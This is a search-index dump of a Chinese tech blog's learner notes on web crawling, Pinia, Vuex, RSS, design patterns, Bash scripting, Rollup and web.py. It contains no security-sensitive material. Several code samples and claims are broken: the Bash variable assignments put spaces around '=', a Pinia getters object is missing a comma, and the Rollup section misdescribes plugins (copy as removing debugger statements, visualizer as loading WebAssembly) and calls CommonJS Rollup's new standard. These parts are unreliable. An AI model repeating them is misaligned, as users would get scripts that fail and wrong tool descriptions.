urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/',timeout=1)\n这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except\nimport urllib.parse import urllib.request url = \u0026quot;https://xiaochenabc123.test.com/\u0026quot; headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.","title":"python爬虫学习笔记"},{"content":"Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3\nPinia作者也是vuex核心之一\n安装pinia\nnpm install pinia@next\n或者\nyarn add pinia@next\n导入pinia并且挂载为vue插件(在Vite脚手架下)\nsrc/main.js\nimport { createApp } from 'vue' import App from './App.vue' const app = createApp(App) import { createPinia } from 'pinia' app.use(createPinia()) app.mount('#app') src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）\nimport { defineStore } from 'pinia' export const useDataStore = defineStore('data', { state: () =\u0026gt; { return { count: 666 } }, //state: () =\u0026gt; { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state.count * 2 } doublePlusOne(){ // 在getters中调用其他getters，只需要this访问一下就可以 // return this.doubleCount + 123 // 通过箭头函数参数，来动态计算 return (a)=\u0026gt;{ this.doubleCount + a } } }, actions: { increment() { this.count++ } } }) src/app.vue（在组件引入useDataStore，并且获取state状态）\nimport { useDataStore } from \u0026quot;./stores/main.js\u0026quot; const store = useDataStore() console.log(store.count) ... \u0026lt;template\u0026gt; \u0026lt;h2\u0026gt;{{ store }}\u0026lt;/h2\u0026gt; \u0026lt;h2\u0026gt;{{ store.count }}\u0026lt;/h2\u0026gt; \u0026lt;/template\u0026gt; 使用storeToRefs函数解构状态（storeToRefs解构，可以响应式状态）\nsrc/app.vue\nimport { storeToRefs } from \u0026quot;pinia\u0026quot; import { useDataStore } from \u0026quot;./stores/main.js\u0026quot; const { count , doubleCount , doublePlusOne} = storeToRefs(useDataStore()) ... \u0026lt;template\u0026gt; \u0026lt;h2\u0026gt;{{ count }}\u0026lt;/h2\u0026gt; \u0026lt;h2\u0026gt;{{ doubleCount }}\u0026lt;/h2\u0026gt; \u0026lt;h2\u0026gt;{{ doublePlusOne(6) }}\u0026lt;/h2\u0026gt; \u0026lt;/template\u0026gt; 调用其他state的getters（假如在其他地方定义了一个getters，想使用）\naddData(state){ // 获取另一个通过defineStore创建state的实例 const store = useAddStore() return state.count + store.intData } Actions操作state（同步异步都可以使用Actions）\nexport const useStore = defineStore('main', { state: () =\u0026gt; ({ counter: 0, }), actions: { countPlusOne() { this.counter++ }, countPlus(a) { this.counter += a } } }) import { useStore } from \u0026quot;./Test.vue\u0026quot; const Store = useStore() Store.countPlusOne() Store.countPlus(3) Store.counter = 100 Actions创建的钩子，可以在各种事件，生命周期中进行触发\n","permalink":"https://chenjunlinabc.github.io/posts/124/","summary":"Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3\nPinia作者也是vuex核心之一\n安装pinia\nnpm install pinia@next\n或者\nyarn add pinia@next\n导入pinia并且挂载为vue插件(在Vite脚手架下)\nsrc/main.js\nimport { createApp } from 'vue' import App from './App.vue' const app = createApp(App) import { createPinia } from 'pinia' app.use(createPinia()) app.mount('#app') src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）\nimport { defineStore } from 'pinia' export const useDataStore = defineStore('data', { state: () =\u0026gt; { return { count: 666 } }, //state: () =\u0026gt; { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state.","title":"Pinia---vuejs的轻量级状态管理库"},{"content":"vuex是一个专门为vuejs应用程序的设计的状态管理\n集中式存储管理应用的所有组件的状态\n多组件状态共享，不同的组件改变同一个状态\nvuex知识点：state，getter，mutation，action\n安装vuex\nnpm install vuex \u0026ndash;save\n或者\nyarn add vuex\n导入vuex包\nimport Vuex from \u0026ldquo;vuex\u0026rdquo;\n创建vuex实例\nnew Vuex.store()\n将vuex实例挂载在vue对象上\nindex.js\nVue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js\nnew Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）\n使用解构获取状态： import { mapState } from \u0026lsquo;vuex\u0026rsquo; export default { mounted() { console.log(this.count) }, computed: { \u0026hellip;mapState([\u0026lsquo;count\u0026rsquo;]) } }\nGetter\ngetters: { getCount(state) { return state.count + 1 } } ... export default { mounted() { console.log(this.$store.state.count) console.log(this.$store.getters.getCount) } } mapGetters函数解构到计算属性（将store中的getter映射到局部计算属性）\ncomputed: { ...mapGetters(['getCount']) } 或者起别名(起别名是导入对象{})\ncomputed: { ...mapGetters({mainData: 'getCount'}) // this.mainData为this.$store.getters.getCount } Mutation\n在vuex中不能直接修改store的值，而是通过Mutation方法来修改，例如：\nmutations: { // setData(state) { // state.count = 3 // } setMain(state, intData) { state.count = intData.count // 通过传参的方式修改 } } App.vue\nexport default { mounted() { console.log(this.$store.state.count) this.$store.commit('setMain',{count: 123}) console.log(this.$store.state.count) }, } 注意：Mutation方法内部的函数必须是同步的，是不能处理异步的\n在组件中也是可以使用Mutation解构的（Mutation）\n导入并且解构\nimport { mapMutations } from 'vuex' export default { mounted() { this.setMain({ count: 666 }); }, methods: { // 通过mapMutations解构到methods里面，其别名也是一样的操作 ...mapMutations(['setMain']) }, } Actions（异步操作，也支持mapActions解构起别名）\nconst store = new Vuex.Store({ state: { count: 0 }, mutations: { setMain(state, intData) { state.count = intData.count // 通过传参的方式修改 } }, actions: { intData (context, mainData) { return new Promise(resolve =\u0026gt; { setTimeout(() =\u0026gt; { context.commit('setMain', {count: mainData:count}) resolve() },3000) }) } } }) App.vue\nasync mounted() { console.log(this.$store.state.count) await this.$store.dispatch('intData',{count: 123}) console.log(this.$store.state.count) } 推荐使用pinia来代替vuex，pinia对ts的支持程度更好，更轻量 https://github.com/vuejs/pinia\n","permalink":"https://chenjunlinabc.github.io/posts/123/","summary":"vuex是一个专门为vuejs应用程序的设计的状态管理\n集中式存储管理应用的所有组件的状态\n多组件状态共享，不同的组件改变同一个状态\nvuex知识点：state，getter，mutation，action\n安装vuex\nnpm install vuex \u0026ndash;save\n或者\nyarn add vuex\n导入vuex包\nimport Vuex from \u0026ldquo;vuex\u0026rdquo;\n创建vuex实例\nnew Vuex.store()\n将vuex实例挂载在vue对象上\nindex.js\nVue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js\nnew Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）\n使用解构获取状态： import { mapState } from \u0026lsquo;vuex\u0026rsquo; export default { mounted() { console.log(this.count) }, computed: { \u0026hellip;mapState([\u0026lsquo;count\u0026rsquo;]) } }\nGetter\ngetters: { getCount(state) { return state.","title":"简单使用vuex状态管理库"},{"content":"RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）\n一个RSS例子：\n\u0026lt;?xml version=\u0026quot;1.0\u0026quot; encoding=\u0026quot;UTF-8\u0026quot; ?\u0026gt; \u0026lt;rss version=\u0026quot;2.0\u0026quot;\u0026gt; \u0026lt;channel\u0026gt; \u0026lt;title\u0026gt;小陈的辣鸡屋\u0026lt;/title\u0026gt; \u0026lt;link\u0026gt;https://xiaochenabc123.test.com/\u0026lt;/link\u0026gt; \u0026lt;description\u0026gt;xiaochenabc123.test.com\u0026lt;/description\u0026gt; \u0026lt;item\u0026gt; \u0026lt;title\u0026gt;简单了解设计模式\u0026lt;/title\u0026gt; \u0026lt;link\u0026gt;https://xiaochenabc123.test.com/archives/121.html\u0026lt;/link\u0026gt; \u0026lt;description\u0026gt;\u0026lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]\u0026gt;\u0026lt;/description\u0026gt; \u0026lt;content:encoded xml:lang=\u0026quot;zh-CN\u0026quot;\u0026gt;xxxxxxx\u0026lt;/content:encoded\u0026gt; \u0026lt;/item\u0026gt; \u0026lt;/channel\u0026gt; \u0026lt;/rss\u0026gt; 可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容\nRSS注释和HTML的注释一样，\n注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号\nchannel元素除了上面那几个外，还有，， ，等等\n元素还有，，，等等\nRSS阅读器可以更好读取RSSfeed\n","permalink":"https://chenjunlinabc.github.io/posts/122/","summary":"RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）\n一个RSS例子：\n\u0026lt;?xml version=\u0026quot;1.0\u0026quot; encoding=\u0026quot;UTF-8\u0026quot; ?\u0026gt; \u0026lt;rss version=\u0026quot;2.0\u0026quot;\u0026gt; \u0026lt;channel\u0026gt; \u0026lt;title\u0026gt;小陈的辣鸡屋\u0026lt;/title\u0026gt; \u0026lt;link\u0026gt;https://xiaochenabc123.test.com/\u0026lt;/link\u0026gt; \u0026lt;description\u0026gt;xiaochenabc123.test.com\u0026lt;/description\u0026gt; \u0026lt;item\u0026gt; \u0026lt;title\u0026gt;简单了解设计模式\u0026lt;/title\u0026gt; \u0026lt;link\u0026gt;https://xiaochenabc123.test.com/archives/121.html\u0026lt;/link\u0026gt; \u0026lt;description\u0026gt;\u0026lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]\u0026gt;\u0026lt;/description\u0026gt; \u0026lt;content:encoded xml:lang=\u0026quot;zh-CN\u0026quot;\u0026gt;xxxxxxx\u0026lt;/content:encoded\u0026gt; \u0026lt;/item\u0026gt; \u0026lt;/channel\u0026gt; \u0026lt;/rss\u0026gt; 可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容\nRSS注释和HTML的注释一样，\n注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号\nchannel元素除了上面那几个外，还有，， ，等等\n元素还有，，，等等\nRSS阅读器可以更好读取RSSfeed","title":"简单了解RSS"},{"content":"设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具\n面向过程：逻辑化过程，以逻辑实现\n面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化\n设计模式的好处就是通用可复用，跨语言\n设计模式的6大原则：\n单一职责原则：指的是一个类只负责一个职责，职责越单一，越容易复用\n里氏替换原则：子类可以替换自己的父类，通过开闭原则，通过增加子类来实现父类的“修改”，子类可以添加自己的方法和属性，但是不能重写父类的方法\n依赖倒置原则：依赖于接口，而不是实现，面向接口编程，类于类之间不要存在直接依赖，而依赖于接口\n接口隔离原则：不同的功能应该用多种接口实现行为，而不能将接口功能直接概括全部行为，单独实现需要的接口\n迪米特法则：迪米特法则又叫最少知识原则，一个对象对其他对象应该保持最少的了解，降低类与类之间的耦合，避免一个类依赖于另一个类，而导致另一个类的影响\n开闭原则：指的是对扩展进行开放，对修改进行关闭，需要添加新功能，应该添加类，而不是修改原来有的类，保证程序的稳定性\n常见的设计模式有工厂模式，策略模式，单例模式，代理模式，适配器模式，装饰者模式，模版方法模式，观察者模式，抽象工厂模式，门面模式\n创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式\n创建型模式就是指创建对象，在创建对象时通过共同的接口来指向这个新创建的对象\n结构型模式：把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式\n行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式\n","permalink":"https://chenjunlinabc.github.io/posts/121/","summary":"设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具\n面向过程：逻辑化过程，以逻辑实现\n面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化\n设计模式的好处就是通用可复用，跨语言\n设计模式的6大原则：\n单一职责原则：指的是一个类只负责一个职责，职责越单一，越容易复用\n里氏替换原则：子类可以替换自己的父类，通过开闭原则，通过增加子类来实现父类的“修改”，子类可以添加自己的方法和属性，但是不能重写父类的方法\n依赖倒置原则：依赖于接口，而不是实现，面向接口编程，类于类之间不要存在直接依赖，而依赖于接口\n接口隔离原则：不同的功能应该用多种接口实现行为，而不能将接口功能直接概括全部行为，单独实现需要的接口\n迪米特法则：迪米特法则又叫最少知识原则，一个对象对其他对象应该保持最少的了解，降低类与类之间的耦合，避免一个类依赖于另一个类，而导致另一个类的影响\n开闭原则：指的是对扩展进行开放，对修改进行关闭，需要添加新功能，应该添加类，而不是修改原来有的类，保证程序的稳定性\n常见的设计模式有工厂模式，策略模式，单例模式，代理模式，适配器模式，装饰者模式，模版方法模式，观察者模式，抽象工厂模式，门面模式\n创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式\n创建型模式就是指创建对象，在创建对象时通过共同的接口来指向这个新创建的对象\n结构型模式：把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式\n行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式","title":"简单了解设计模式"},{"content":"shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序\n例如：\n#!/bin/bash echo \u0026quot;hallo word\u0026quot; 执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）\nbash hallo.sh\n也可以直接执行\n./hallo.sh\n变量（首字符必须是字母，而且不能有bash的关键字，大小写敏感）\ndata = \u0026ldquo;hallo\u0026rdquo; echo $data data = \u0026ldquo;word\u0026rdquo; echo ${data}\n注意：如果使用单引号，单引号里面有变量的话，是无法生效的，而且还不能出现单引号，而且双引号可以使用变量和转义字符，美元符号（$）只有在使用变量才需要，在定义，更新，删除变量都不需要\n例如：\nname=\u0026ldquo;chenjunlin\u0026rdquo; data=\u0026ldquo;hallo, ${name} !\u0026rdquo; echo $data\n获取字符串的长度\ndata=\u0026ldquo;hallo word\u0026rdquo; echo ${#data}\n获取指定位置的字符 data=\u0026ldquo;hallo word\u0026rdquo; echo ${#data:5:8}\n删除变量（不能删除只读变量）\nunset data echo ${data}\n在shell脚本定义的变量只能在当前脚本交互中使用，可以通过export传递变量到子shell中，可以通过env或者export指令来获取当前shell的环境变量\n参数\necho \u0026ldquo;hallo word\u0026rdquo;; echo \u0026ldquo;要执行的shell脚本：$0\u0026rdquo;; echo \u0026ldquo;参数为：$1\u0026rdquo;;\n./hallo.sh abc\n获取参数的个数：$#\n以单一字符串的方式输出全部参数（要被双引号包裹）：$*\n以独立字符串的方式输出全部参数（要被双引号包裹）：$@\n获取上个命令的状态（是否执行成功，0为成功，非0为失败）：$?\n获取当前脚本shell进程的ID：$$\n获取后台运行的最后一个进程的ID：$!\n配合函数使用（参数也可以通过函数来传递）\nfunction abc(){ echo \u0026quot;参数1: $1\u0026quot; echo \u0026quot;被执行的脚本为: $0\u0026quot; } abc hallo ./hallo.sh\n参数1: hallo 被执行的脚本为: hallo.sh\n数组（不需要逗号分开，使用的是空格）\ndata = (1 2 3 4 5 \u0026ldquo;hallo word\u0026rdquo;) data[6] = \u0026ldquo;shell 666\u0026rdquo; echo \u0026ldquo;${data[6]}\u0026rdquo;\n获取数组的长度\n${#data[*]}或者${#data[@]}\u0026quot;\n删除数组或者元素（如果不带索引则删除全部元素）\nunset data[5]\n数组切片\necho \u0026ldquo;${data[@]:2:4}\u0026rdquo;\n数组元素更新\necho \u0026ldquo;${data[@]/2/100}\u0026rdquo;\n数学运算（bash并不支持运算，需要利用第三方工具）\nabc = 123 xyz =666 let data = ${abc} + ${xyz} echo $data\n或者\ndata = `expr $abc + $xyz` echo $data\ndata = $[$abc + $xyz] echo $data\ndata = $(($abc + $xyz)) echo $data\n注意：shell的关系运算符不支持字符串，只支持数字\n判断是否相等：-eq 判断是否不相等：-ne 判断是否大于：-gt 判断是否小于：-lt 判断是否相等或者大于：-ge 判断是否相等或者小于：-le\n例如：\nabc = 123 xyz =666 if [ $abc -eq $xyz ] then echo\u0026quot;相等\u0026quot; else echo\u0026quot;不相等\u0026quot; fi if [ $abc -gt $xyz ] then echo\u0026quot;大于\u0026quot; else echo\u0026quot;不大于\u0026quot; 布尔运算符\n\u0026amp;\u0026amp;和||\n或：-o\n与：-a\n非：!\n例如：\nabc = 123 xyz = 666 if [ $abc -eq $xyz -o $abc -lt $xyz] then echo\u0026quot;相等或者小于\u0026quot; else echo\u0026quot;不相等或者小于\u0026quot; fi 字符串运算符\nabc = \u0026quot;hallo\u0026quot; xyz = \u0026quot;hi\u0026quot; if [$abc = $xyz];then echo\u0026quot;相等\u0026quot; else echo\u0026quot;不相等\u0026quot; 判断字符串长度是否为0：-z（为0返回true） 判断字符串长度是否不为0：-n（不为0返回true） 判断字符串是否不为空：$（不为空返回true）\n例如：\na = \u0026quot;hallo word\u0026quot; b = \u0026quot;abchhh\u0026quot; if [ -z $a];then echo \u0026quot;$a :字符串长度为0\u0026quot; else echo \u0026quot;$a :字符串长度不为0\u0026quot; fi if [ ${b}];then echo \u0026quot;$b :字符串不为空\u0026quot; else echo \u0026quot;$b :字符串为空\u0026quot; fi 文件运算符\n检查文件是否为目录（是返回true）：-d 检查文件是否为块设备文件：-b 检查文件是否为字符设备文件：-c 检查文件是否为普通文件（不是目录，也不能设备文件）：-f 检查文件是否可读：-r 检查文件是否可写：-w 检查文件是否可执行：-x 检查文件大小是否大于0（大于返回true）：-s 检查文件（目录）是否存在：-e 检查文件是否设置了SGID位：-g 检查文件是否设置了SUID位：-u 检查文件是否是有名管道：-p 检查文件是否设置粘着位(Sticky Bit)：-k\n例如：\ndata = \u0026quot;/etc/hallo\u0026quot; if [-r $data] then echo \u0026quot;文件可读\u0026quot; else echo \u0026quot;文件不可读\u0026quot; fi if [-e $data] then echo \u0026quot;文件存在\u0026quot; else echo \u0026quot;文件不存在\u0026quot; fi echo和printf\necho可以输出普通字符串，转义，变量\n开启转义功能：echo -e \u0026ldquo;hallo!!! \\n\u0026rdquo;\n使用单引号可以原封不动的输出字符串\n将执行结果指向到文件中\necho \u0026ldquo;hallo word\u0026rdquo; \u0026gt; data\nprintf比较高级点，可以定义字符串的对齐方式，宽度等等，而且printf默认不自动添加换行符（echo自动添加），可以手动\\n\nprintf \u0026ldquo;%-8s %-5s %-6.3s\\n\u0026rdquo; root data main 6.12345\n上面这句脚本的%s表示输出字符串（类似的还有$c(整型输出),$d（字符输出）,$f（小数输出））\n%-8s表示一个宽度为8个字符，如果有-表示左对齐，没有就是右对齐，全部字符都被输出到8个字符宽的字符中，如果不足8个字符，则自动以空格填充，超出的话，也会全部显示（不会忽略）\n%-6.3s表示将其格式化为小数，.3表示保留3位小数\ntest命令用来判断条件是否成立，数值，字符，文件都可以判断\ntest命令使用的是关系运算符，例如：\ndata1 = 300 data2 = 200 if test $[data1] -gt $[data2] then echo \u0026quot;data1大于data2\u0026quot; else echo \u0026quot;data1小于data2\u0026quot; fi if判断（注意：如果else分支没有语句要执行，就不要写else了）\nif then elif else fi\nfor循环\nfor data in 1 2 3 do echo \u0026quot;data : $data\u0026quot; done while循环\ndata = 1 while(( $data \u0026lt;= 10)) do echo $data let \u0026quot;data++\u0026quot; done until循环\ndata=1 until [ ! $data -lt 10 ] do echo $data data=`expr $data + 1` done case \u0026hellip; esac语句（替代switch语句）\necho '请输入1到3之间的数字:' echo '输入的数字为:' read data case $data in 1) echo '1' ;; 2) echo '2' ;; 3) echo '3' ;; *) echo '没有输入1到3之间的数字' ;; esac 跳出循环\nbreak（终止执行后面的循环，一般搭配判断使用）\ncontinue（只终止当前循环，不会终止执行后面的循环）\n函数\ndemo(){ echo \u0026quot;hallo word\u0026quot; return $(($1+2)) } demo 100 300 echo \u0026quot; $? \u0026quot; ","permalink":"https://chenjunlinabc.github.io/posts/120/","summary":"shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序\n例如：\n#!/bin/bash echo \u0026quot;hallo word\u0026quot; 执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）\nbash hallo.sh\n也可以直接执行\n./hallo.sh\n变量（首字符必须是字母，而且不能有bash的关键字，大小写敏感）\ndata = \u0026ldquo;hallo\u0026rdquo; echo $data data = \u0026ldquo;word\u0026rdquo; echo ${data}\n注意：如果使用单引号，单引号里面有变量的话，是无法生效的，而且还不能出现单引号，而且双引号可以使用变量和转义字符，美元符号（$）只有在使用变量才需要，在定义，更新，删除变量都不需要\n例如：\nname=\u0026ldquo;chenjunlin\u0026rdquo; data=\u0026ldquo;hallo, ${name} !\u0026rdquo; echo $data\n获取字符串的长度\ndata=\u0026ldquo;hallo word\u0026rdquo; echo ${#data}\n获取指定位置的字符 data=\u0026ldquo;hallo word\u0026rdquo; echo ${#data:5:8}\n删除变量（不能删除只读变量）\nunset data echo ${data}\n在shell脚本定义的变量只能在当前脚本交互中使用，可以通过export传递变量到子shell中，可以通过env或者export指令来获取当前shell的环境变量\n参数\necho \u0026ldquo;hallo word\u0026rdquo;; echo \u0026ldquo;要执行的shell脚本：$0\u0026rdquo;; echo \u0026ldquo;参数为：$1\u0026rdquo;;\n./hallo.sh abc\n获取参数的个数：$#\n以单一字符串的方式输出全部参数（要被双引号包裹）：$*\n以独立字符串的方式输出全部参数（要被双引号包裹）：$@\n获取上个命令的状态（是否执行成功，0为成功，非0为失败）：$?\n获取当前脚本shell进程的ID：$$\n获取后台运行的最后一个进程的ID：$!\n配合函数使用（参数也可以通过函数来传递）\nfunction abc(){ echo \u0026quot;参数1: $1\u0026quot; echo \u0026quot;被执行的脚本为: $0\u0026quot; } abc hallo .","title":"shell脚本学习笔记"},{"content":"根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。\nRollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的\n注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案\n提示：webpack已经支持Tree-shaking，并且在babel-loader的情况下也支持es6 module的打包\nRollup是ESM模块标准构建打包工具，源必须使用ESM模块标准，如果需要使用其他标准可通过插件完成\n安装rollup\nnpm install rollup\n查看帮助文档\nrollup \u0026ndash;help\n打包使用\nrollup -i index.js 默认输出到终端\n指定输出到哪个文件\nrollup -i index.js --file dist.js 还可以指定输出模块标准是哪个\nrollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包\nrollup src/demo.js -f cjs -o dist/bundle.js\n注意：-f是\u0026ndash;format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife\n使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中\nrollup src/demo.js -f umd -o dist/bundle.js \u0026ndash;name hallo\n在global下声明一个名为hallo的对象，用来挂载全部的export模块\n一次打包多个文件\nrollup -i index.js -i main.js \u0026ndash;dir dist \u0026ndash;format cjs\n如果想监听文件是否改动，可以使用-w参数（\u0026ndash;watch），当文件发生改动的时候，重新打包\n配置文件（rollup.config.js）\nexport default { input: [\u0026quot;./src/demo.js\u0026quot;], output: { file: \u0026quot;./dist/bundle.js\u0026quot;, format: \u0026quot;cjs\u0026quot;, name: \u0026quot;experience\u0026quot;, }, } 如果配置文件想使用module.exports = {}的方式，需要将配置文件修改为.cjs文件\n执行命令\nrollup -c rollup.config.js\n或者\nrollup \u0026ndash;config rollup.config.js\n打包阶段传递环境变量\nrollup.config.js获取设置的变量 console.log(process.env.DEV)\n执行时设置环境变量 rollup -c rollup.config.js \u0026ndash;environment DEV:1\n这个可以通过环境变量的不同，来做不同的处理，而不需要写多套config配置了\nRollup的Tree-shaking功能，只对使用的模块进行打包，对于没有使用的模块是不进行打包的\nRollup常用插件（vite使用Rollup作为打包工具，因此vite也可以使用Rollup插件）\n@rollup/plugin-json，打包json文件成js代码\n安装\nyarn add @rollup/plugin-json\n使用\nyarn rollup -c rollup.config.js \u0026ndash;plugin json\n如果不想在命令行设置要使用的插件，也可以在rollup.config.js下设置\nimport json form rollup/plugin-json export default { input: [\u0026quot;./src/demo.js\u0026quot;], output: { file: \u0026quot;./dist/bundle.js\u0026quot;, format: \u0026quot;cjs\u0026quot;, name: \u0026quot;experience\u0026quot;, plugins: [], banner: '/**hallo word**/', }, externals: [ 'react' ] plugins:[ json(), ] } 可以看到Rollup插件是函数，并且是顺序执行插件\nexternals可以指定不打包的模块\nbanner是指定打包完成文件头部的注释，会和rollup-plugin-terser插件冲突，代码压缩会删除全部注释\n也可以通过设置npm script脚本来简化命令\n'scripts':{ 'build': 'rollup -c rollup.config.js' } 执行npm run build或者yarn build都可以执行\n@rollup/plugin-babel，将es6文件转换为es5文件\n@rollup/plugin-alias，设置模块别名，不需要写很长很长的路径，例如：\nplugins: [ alias({ entries: [ { find: 'main', replacement: '../src/main' }, { find: 'test', replacement: './test' } ] }) ] index.js\nimport main from 'main' import test from 'test' @rollup/plugin-commonjs，让其支持CommonJS模块标准打包\n@rollup/plugin-vue，打包.vue文件，vue2和vue3使用的插件版本不同，vue3使用的是@rollup/plugin-vue6.0.0版本以上，而vue2使用@rollup/plugin-vue5.1.9版本，而且还需要搭配vue编译器使用，vue3使用@vue/compiler-sfc，vue2使用vue-template-compiler\n@rollup/plugin-node-resolve，允许打包第三方模块，这个插件需要搭配@rollup/plugin-commonjs使用，因为这个插件底层实现是使用了CommonJS模块标准\n@rollup/plugin-typescript，增加typescript支持，TypeScript版本要求3.7以及以上\n@rollup/plugin-image，支持图片加载依赖，图片会被编码为base64格式（体积会增加）\nrollup-plugin-terser，代码压缩插件，应该在打包完成后执行该插件，因此应该在output内部的plugins设置，老插件，这个插件没有设置default，import使用时需要{terser}\n@rollup/plugin-postcss，让其支持使用postcss以及postcss插件\n@rollup/plugin-serve，启动本地服务器\n@rollup/plugin-livereload，文件发生变化，进行实时刷新\n@rollup/plugin-eslint，打包时校验语法是否符合规范\n@rollup/plugin-copy，打包时删除debugger语句和函数，例如console.log\n@rollup/plugin-visualizer，加载WebAssembly模块\n","permalink":"https://chenjunlinabc.github.io/posts/119/","summary":"根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。\nRollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的\n注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案\n提示：webpack已经支持Tree-shaking，并且在babel-loader的情况下也支持es6 module的打包\nRollup是ESM模块标准构建打包工具，源必须使用ESM模块标准，如果需要使用其他标准可通过插件完成\n安装rollup\nnpm install rollup\n查看帮助文档\nrollup \u0026ndash;help\n打包使用\nrollup -i index.js 默认输出到终端\n指定输出到哪个文件\nrollup -i index.js --file dist.js 还可以指定输出模块标准是哪个\nrollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包\nrollup src/demo.js -f cjs -o dist/bundle.js\n注意：-f是\u0026ndash;format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife\n使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中\nrollup src/demo.js -f umd -o dist/bundle.js \u0026ndash;name hallo\n在global下声明一个名为hallo的对象，用来挂载全部的export模块","title":"简单使用Rollup模块打包工具"},{"content":"web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）\n安装web.py\npip install web.py\n导入模块\nimport web\n第一个例子\nimport web urls = ( \u0026quot;/(.*)\u0026quot;,\u0026quot;hallo\u0026quot; ) app = web.application(urls,globals()) class hallo: def GET(self,name): return \u0026quot;\u0026lt;h1\u0026gt;hallo web.py\u0026lt;/h1\u0026gt;\u0026quot; if __name__==\u0026quot;__main__\u0026quot;: app.run() 